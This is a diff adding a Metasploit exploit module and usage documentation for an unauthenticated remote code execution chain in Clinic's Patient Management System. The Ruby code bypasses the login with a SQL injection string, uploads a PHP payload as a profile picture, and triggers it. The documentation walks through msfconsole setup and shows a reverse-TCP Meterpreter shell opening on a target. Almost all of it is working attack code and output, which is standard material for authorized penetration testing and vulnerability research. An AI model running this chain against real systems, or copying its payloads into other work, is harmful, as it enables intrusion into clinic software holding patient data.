Clinic Patient's Management System SQLi (CVE-2025-3096)

documentation/modules/exploit/multi/http/clinic_pms_sqli_to_rce.md

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+## Vulnerable Application
+Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability (CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.
+
+## Verification Steps
+
+### Vulnerable Application Installation Setup
+1. Install Clinic's Patient Management System on your web server.
+   - Download the Web Application from [here](https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code)
+
+2. Start `msfconsole` and load the exploit module:
+```bash
+   msfconsole
+   use exploit/multi/http/clinic_pms_sqli_to_rce
+```
+
+3. Set the required options:
+```bash
+   set rport <port>
+   set rhost <ip>
+   set targeturi /pms
+```
+
+4. Check if the target is vulnerable:
+```bash
+   check
+```
+
+   If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:
+```
+   [+] <IP> The target is vulnerable.
+```
+
+5. Set up the listener for the exploit:
+```bash
+   set lport <port>
+   set lhost <ip>
+```
+
+6. Launch the exploit:
+```bash
+   exploit
+```
+
+7. If successful, you will receive a PHP Meterpreter shell.
+
+## Options
+- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`).
+
+## Scenarios
+
+```bash
+msf6 exploit(multi/http/clinic_pms_sqli_to_rce) > exploit
+[*] Started reverse TCP handler on 192.168.168.128:4444
+[*] Logged using SQL injection..
+[*] Malicious file uploaded..
+[*] Logged out..
+[*] Logged using SQL injection..
+[*] Sending stage (40004 bytes) to 192.168.168.146
+[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:52522) at 2025-05-13 13:33:52 +0200
+
+meterpreter > sysinfo
+Computer    : ubuntu
+OS          : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
+Meterpreter : php/linux
+
+```
+

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::PhpEXE
+  include Msf::Exploit::FileDropper
+  include Msf::Post::File
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',
+        'Description' => %q{
+          This module exploits an SQL injection in login portal, which allows to log in as admin. Next, it allows the attacker to upload malicious files through user modification to achieve RCE.
+        },
+        'Author' => [
+          'msutovsky-r7' # CVE-2025-3096, module developer
+        ],
+        'License' => MSF_LICENSE,
+        'Platform' => 'php',
+        'Arch' => ARCH_PHP,
+        'Privileged' => false,
+        'Targets' => [
+          ['Clinic Patient Management System 2.0', {}]
+        ],
+        'DefaultTarget' => 0,
+        'References' => [
+          ['CVE', '2022-2297'],
+          ['CVE', '2025-3096'],
+          ['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
+        ],
+        'DisclosureDate' => '2025-01-04',
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [ARTIFACTS_ON_DISK]
+        }
+      )
+    )
+
+    register_options([
+      OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),
+      OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', true])
+    ])
+  end
+
+  def check
+    print_status('Checking if target is vulnerable...')
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path),
+      'method' => 'GET'
+    })
+
+    return Exploit::CheckCode::Unknown('Unexpected response code from server') unless res&.code == 200
+    return Exploit::CheckCode::Unknown('Unexpected content of body') if res.body&.blank?
+    return Exploit::CheckCode::Safe('Clinic PMS not detected') unless res.body.include?("Clinic's Patient Management System in PHP")
+
+    return Exploit::CheckCode::Appears('Clinic PMS detected')
+  end
+
+  def login_sqli
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path + 'index.php'),
+      'method' => 'POST',
+      'keep_cookies' => true,
+      'vars_post' =>
+      {
+        user_name: "' or '1'='1' LIMIT 1;--",
+        password: '',
+        login: ''
+      }
+    })
+
+    fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
+    fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('location')
+
+    fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['location'] == 'dashboard.php'
+    print_status('Logged using SQL injection..')
+  end
+
+  def upload_payload
+    username = Rex::Text.rand_text_alphanumeric(8)
+    password = Rex::Text.rand_text_alphanumeric(8)
+    filename = Rex::Text.rand_text_alphanumeric(8) + '.php'
+
+    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(16)}"
+
+    data_post = "--#{boundary}\r\n"
+    data_post << "Content-Disposition: form-data; name=\"hidden_id\"\r\n\r\n"
+    data_post << "1\r\n"
+    data_post << "--#{boundary}\r\n"
+
+    data_post << "Content-Disposition: form-data; name=\"display_name\"\r\n\r\n"
+    data_post << "#{username}\r\n"
+    data_post << "--#{boundary}\r\n"
+
+    data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
+    data_post << "#{username}\r\n"
+    data_post << "--#{boundary}\r\n"
+
+    data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
+    data_post << "#{password}\r\n"
+    data_post << "--#{boundary}\r\n"
+
+    data_post << "Content-Disposition: form-data; name=\"profile_picture\"; filename=\"#{filename}\"\r\n"
+    data_post << "Content-Type: application/x-php\r\n\r\n"
+    data_post << "#{payload.encoded}\r\n"
+    data_post << "--#{boundary}\r\n"
+
+    data_post << "Content-Disposition: form-data; name=\"save_user\"\r\n\r\n"
+    data_post << "\r\n"
+    data_post << "--#{boundary}--\r\n"
+
+    res = send_request_cgi({
+      'uri' => normalize_uri('/pms/update_user.php'),
+      'method' => 'POST',
+      'keep_cookies' => true,
+      'ctype' => "multipart/form-data; boundary=#{boundary}",
+      'vars_get' =>
+      {
+        'user_id' => '1'
+      },
+      'data' => data_post
+    })
+
+    fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
+    fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')
+
+    fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'
+    print_status('Malicious file uploaded..')
+  end
+
+  def logout
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path + 'logout.php'),
+      'method' => 'GET'
+    })
+    fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
+    fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')
+
+    fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['Location'] == 'index.php'
+    print_status('Logged out..')
+    @cookie_jar.clear
+  end
+
+  def trigger_payload
+    logout
+    login_sqli
+
+    print_status('Reporting vulnerability')
+    report_vuln(
+      host: datastore['RHOSTS'],
+      name: name,
+      refs: references,
+      info: 'The target is vulnerable to CVE-2025-3096.'
+    )
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path + '/update_user.php'),
+      'method' => 'GET',
+      'keep_cookies' => true,
+      'vars_get' =>
+      {
+        'user_id' => '1'
+      }
+    })
+
+    fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 200
+    fail_with Failure::UnexpectedReply, 'Unexpected content of body' if res.body&.blank?
+    html_document = res.get_html_document
+    payload_path = html_document.xpath('//img[@alt="User Image"]/@src')&.text
+
+    fail_with Failure::PayloadFailed, 'Cannot find path to payload' if payload_path.blank?
+
+    send_request_cgi({
+      'uri' => normalize_uri(target_uri.path + '/' + payload_path),
+      'method' => 'GET',
+      'keep_cookies' => true
+    })
+    register_file_for_cleanup(File.basename(payload_path)) if datastore['DELETE_FILES']
+  end
+
+  def exploit
+    login_sqli
+    upload_payload
+    trigger_payload
+  end
+end